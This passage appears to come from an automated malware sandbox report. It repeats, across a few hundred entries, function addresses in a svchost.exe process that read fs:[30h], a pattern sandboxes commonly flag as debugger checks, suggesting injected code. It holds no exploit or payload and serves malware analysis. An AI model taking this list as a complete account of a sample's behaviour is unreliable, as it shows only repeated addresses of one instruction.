Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4260B mov eax, dword ptr fs:[00000030h]	1_2_02E4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4260B mov eax, dword ptr fs:[00000030h]	1_2_02E4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4260B mov eax, dword ptr fs:[00000030h]	1_2_02E4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4260B mov eax, dword ptr fs:[00000030h]	1_2_02E4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4260B mov eax, dword ptr fs:[00000030h]	1_2_02E4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4260B mov eax, dword ptr fs:[00000030h]	1_2_02E4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72619 mov eax, dword ptr fs:[00000030h]	1_2_02E72619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E527ED mov eax, dword ptr fs:[00000030h]	1_2_02E527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E527ED mov eax, dword ptr fs:[00000030h]	1_2_02E527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E527ED mov eax, dword ptr fs:[00000030h]	1_2_02E527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBE7E1 mov eax, dword ptr fs:[00000030h]	1_2_02EBE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E347FB mov eax, dword ptr fs:[00000030h]	1_2_02E347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E347FB mov eax, dword ptr fs:[00000030h]	1_2_02E347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3C7C0 mov eax, dword ptr fs:[00000030h]	1_2_02E3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB07C3 mov eax, dword ptr fs:[00000030h]	1_2_02EB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E307AF mov eax, dword ptr fs:[00000030h]	1_2_02E307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE47A0 mov eax, dword ptr fs:[00000030h]	1_2_02EE47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED678E mov eax, dword ptr fs:[00000030h]	1_2_02ED678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38770 mov eax, dword ptr fs:[00000030h]	1_2_02E38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770 mov eax, dword ptr fs:[00000030h]	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6674D mov esi, dword ptr fs:[00000030h]	1_2_02E6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6674D mov eax, dword ptr fs:[00000030h]	1_2_02E6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6674D mov eax, dword ptr fs:[00000030h]	1_2_02E6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30750 mov eax, dword ptr fs:[00000030h]	1_2_02E30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBE75D mov eax, dword ptr fs:[00000030h]	1_2_02EBE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72750 mov eax, dword ptr fs:[00000030h]	1_2_02E72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72750 mov eax, dword ptr fs:[00000030h]	1_2_02E72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB4755 mov eax, dword ptr fs:[00000030h]	1_2_02EB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C720 mov eax, dword ptr fs:[00000030h]	1_2_02E6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C720 mov eax, dword ptr fs:[00000030h]	1_2_02E6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6273C mov eax, dword ptr fs:[00000030h]	1_2_02E6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6273C mov ecx, dword ptr fs:[00000030h]	1_2_02E6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6273C mov eax, dword ptr fs:[00000030h]	1_2_02E6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAC730 mov eax, dword ptr fs:[00000030h]	1_2_02EAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C700 mov eax, dword ptr fs:[00000030h]	1_2_02E6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30710 mov eax, dword ptr fs:[00000030h]	1_2_02E30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E60710 mov eax, dword ptr fs:[00000030h]	1_2_02E60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E304E5 mov ecx, dword ptr fs:[00000030h]	1_2_02E304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E364AB mov eax, dword ptr fs:[00000030h]	1_2_02E364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E644B0 mov ecx, dword ptr fs:[00000030h]	1_2_02E644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBA4B0 mov eax, dword ptr fs:[00000030h]	1_2_02EBA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEA49A mov eax, dword ptr fs:[00000030h]	1_2_02EEA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBC460 mov ecx, dword ptr fs:[00000030h]	1_2_02EBC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5A470 mov eax, dword ptr fs:[00000030h]	1_2_02E5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5A470 mov eax, dword ptr fs:[00000030h]	1_2_02E5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5A470 mov eax, dword ptr fs:[00000030h]	1_2_02E5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E443 mov eax, dword ptr fs:[00000030h]	1_2_02E6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEA456 mov eax, dword ptr fs:[00000030h]	1_2_02EEA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2645D mov eax, dword ptr fs:[00000030h]	1_2_02E2645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5245A mov eax, dword ptr fs:[00000030h]	1_2_02E5245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2E420 mov eax, dword ptr fs:[00000030h]	1_2_02E2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2E420 mov eax, dword ptr fs:[00000030h]	1_2_02E2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2E420 mov eax, dword ptr fs:[00000030h]	1_2_02E2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2C427 mov eax, dword ptr fs:[00000030h]	1_2_02E2C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6420 mov eax, dword ptr fs:[00000030h]	1_2_02EB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6420 mov eax, dword ptr fs:[00000030h]	1_2_02EB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6420 mov eax, dword ptr fs:[00000030h]	1_2_02EB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6420 mov eax, dword ptr fs:[00000030h]	1_2_02EB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6420 mov eax, dword ptr fs:[00000030h]	1_2_02EB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6420 mov eax, dword ptr fs:[00000030h]	1_2_02EB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6420 mov eax, dword ptr fs:[00000030h]	1_2_02EB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E68402 mov eax, dword ptr fs:[00000030h]	1_2_02E68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E68402 mov eax, dword ptr fs:[00000030h]	1_2_02E68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E68402 mov eax, dword ptr fs:[00000030h]	1_2_02E68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_02E5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E325E0 mov eax, dword ptr fs:[00000030h]	1_2_02E325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C5ED mov eax, dword ptr fs:[00000030h]	1_2_02E6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C5ED mov eax, dword ptr fs:[00000030h]	1_2_02E6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E5CF mov eax, dword ptr fs:[00000030h]	1_2_02E6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E5CF mov eax, dword ptr fs:[00000030h]	1_2_02E6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E365D0 mov eax, dword ptr fs:[00000030h]	1_2_02E365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A5D0 mov eax, dword ptr fs:[00000030h]	1_2_02E6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A5D0 mov eax, dword ptr fs:[00000030h]	1_2_02E6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB05A7 mov eax, dword ptr fs:[00000030h]	1_2_02EB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB05A7 mov eax, dword ptr fs:[00000030h]	1_2_02EB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB05A7 mov eax, dword ptr fs:[00000030h]	1_2_02EB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E545B1 mov eax, dword ptr fs:[00000030h]	1_2_02E545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E545B1 mov eax, dword ptr fs:[00000030h]	1_2_02E545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E32582 mov eax, dword ptr fs:[00000030h]	1_2_02E32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E32582 mov ecx, dword ptr fs:[00000030h]	1_2_02E32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E64588 mov eax, dword ptr fs:[00000030h]	1_2_02E64588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E59C mov eax, dword ptr fs:[00000030h]	1_2_02E6E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6656A mov eax, dword ptr fs:[00000030h]	1_2_02E6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6656A mov eax, dword ptr fs:[00000030h]	1_2_02E6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6656A mov eax, dword ptr fs:[00000030h]	1_2_02E6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38550 mov eax, dword ptr fs:[00000030h]	1_2_02E38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38550 mov eax, dword ptr fs:[00000030h]	1_2_02E38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40535 mov eax, dword ptr fs:[00000030h]	1_2_02E40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40535 mov eax, dword ptr fs:[00000030h]	1_2_02E40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40535 mov eax, dword ptr fs:[00000030h]	1_2_02E40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40535 mov eax, dword ptr fs:[00000030h]	1_2_02E40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40535 mov eax, dword ptr fs:[00000030h]	1_2_02E40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40535 mov eax, dword ptr fs:[00000030h]	1_2_02E40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E53E mov eax, dword ptr fs:[00000030h]	1_2_02E5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E53E mov eax, dword ptr fs:[00000030h]	1_2_02E5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E53E mov eax, dword ptr fs:[00000030h]	1_2_02E5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E53E mov eax, dword ptr fs:[00000030h]	1_2_02E5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E53E mov eax, dword ptr fs:[00000030h]	1_2_02E5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC6500 mov eax, dword ptr fs:[00000030h]	1_2_02EC6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04500 mov eax, dword ptr fs:[00000030h]	1_2_02F04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04500 mov eax, dword ptr fs:[00000030h]	1_2_02F04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04500 mov eax, dword ptr fs:[00000030h]	1_2_02F04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04500 mov eax, dword ptr fs:[00000030h]	1_2_02F04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04500 mov eax, dword ptr fs:[00000030h]	1_2_02F04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04500 mov eax, dword ptr fs:[00000030h]	1_2_02F04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04500 mov eax, dword ptr fs:[00000030h]	1_2_02F04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6AAEE mov eax, dword ptr fs:[00000030h]	1_2_02E6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6AAEE mov eax, dword ptr fs:[00000030h]	1_2_02E6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E86ACC mov eax, dword ptr fs:[00000030h]	1_2_02E86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E86ACC mov eax, dword ptr fs:[00000030h]	1_2_02E86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E86ACC mov eax, dword ptr fs:[00000030h]	1_2_02E86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30AD0 mov eax, dword ptr fs:[00000030h]	1_2_02E30AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E64AD0 mov eax, dword ptr fs:[00000030h]	1_2_02E64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E64AD0 mov eax, dword ptr fs:[00000030h]	1_2_02E64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38AA0 mov eax, dword ptr fs:[00000030h]	1_2_02E38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38AA0 mov eax, dword ptr fs:[00000030h]	1_2_02E38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E86AA4 mov eax, dword ptr fs:[00000030h]	1_2_02E86AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04A80 mov eax, dword ptr fs:[00000030h]	1_2_02F04A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E68A90 mov edx, dword ptr fs:[00000030h]	1_2_02E68A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6CA6F mov eax, dword ptr fs:[00000030h]	1_2_02E6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6CA6F mov eax, dword ptr fs:[00000030h]	1_2_02E6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6CA6F mov eax, dword ptr fs:[00000030h]	1_2_02E6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDEA60 mov eax, dword ptr fs:[00000030h]	1_2_02EDEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EACA72 mov eax, dword ptr fs:[00000030h]	1_2_02EACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EACA72 mov eax, dword ptr fs:[00000030h]	1_2_02EACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36A50 mov eax, dword ptr fs:[00000030h]	1_2_02E36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36A50 mov eax, dword ptr fs:[00000030h]	1_2_02E36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36A50 mov eax, dword ptr fs:[00000030h]	1_2_02E36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36A50 mov eax, dword ptr fs:[00000030h]	1_2_02E36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36A50 mov eax, dword ptr fs:[00000030h]	1_2_02E36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36A50 mov eax, dword ptr fs:[00000030h]	1_2_02E36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36A50 mov eax, dword ptr fs:[00000030h]	1_2_02E36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40A5B mov eax, dword ptr fs:[00000030h]	1_2_02E40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40A5B mov eax, dword ptr fs:[00000030h]	1_2_02E40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6CA24 mov eax, dword ptr fs:[00000030h]	1_2_02E6CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5EA2E mov eax, dword ptr fs:[00000030h]	1_2_02E5EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E54A35 mov eax, dword ptr fs:[00000030h]	1_2_02E54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E54A35 mov eax, dword ptr fs:[00000030h]	1_2_02E54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBCA11 mov eax, dword ptr fs:[00000030h]	1_2_02EBCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38BF0 mov eax, dword ptr fs:[00000030h]	1_2_02E38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38BF0 mov eax, dword ptr fs:[00000030h]	1_2_02E38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38BF0 mov eax, dword ptr fs:[00000030h]	1_2_02E38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5EBFC mov eax, dword ptr fs:[00000030h]	1_2_02E5EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBCBF0 mov eax, dword ptr fs:[00000030h]	1_2_02EBCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E50BCB mov eax, dword ptr fs:[00000030h]	1_2_02E50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E50BCB mov eax, dword ptr fs:[00000030h]	1_2_02E50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E50BCB mov eax, dword ptr fs:[00000030h]	1_2_02E50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30BCD mov eax, dword ptr fs:[00000030h]	1_2_02E30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30BCD mov eax, dword ptr fs:[00000030h]	1_2_02E30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30BCD mov eax, dword ptr fs:[00000030h]	1_2_02E30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDEBD0 mov eax, dword ptr fs:[00000030h]	1_2_02EDEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40BBE mov eax, dword ptr fs:[00000030h]	1_2_02E40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40BBE mov eax, dword ptr fs:[00000030h]	1_2_02E40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE4BB0 mov eax, dword ptr fs:[00000030h]	1_2_02EE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE4BB0 mov eax, dword ptr fs:[00000030h]	1_2_02EE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2CB7E mov eax, dword ptr fs:[00000030h]	1_2_02E2CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE4B4B mov eax, dword ptr fs:[00000030h]	1_2_02EE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE4B4B mov eax, dword ptr fs:[00000030h]	1_2_02EE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F02B57 mov eax, dword ptr fs:[00000030h]	1_2_02F02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F02B57 mov eax, dword ptr fs:[00000030h]	1_2_02F02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F02B57 mov eax, dword ptr fs:[00000030h]	1_2_02F02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F02B57 mov eax, dword ptr fs:[00000030h]	1_2_02F02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC6B40 mov eax, dword ptr fs:[00000030h]	1_2_02EC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC6B40 mov eax, dword ptr fs:[00000030h]	1_2_02EC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFAB40 mov eax, dword ptr fs:[00000030h]	1_2_02EFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED8B42 mov eax, dword ptr fs:[00000030h]	1_2_02ED8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E28B50 mov eax, dword ptr fs:[00000030h]	1_2_02E28B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDEB50 mov eax, dword ptr fs:[00000030h]	1_2_02EDEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5EB20 mov eax, dword ptr fs:[00000030h]	1_2_02E5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5EB20 mov eax, dword ptr fs:[00000030h]	1_2_02E5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF8B28 mov eax, dword ptr fs:[00000030h]	1_2_02EF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF8B28 mov eax, dword ptr fs:[00000030h]	1_2_02EF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04B00 mov eax, dword ptr fs:[00000030h]	1_2_02F04B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
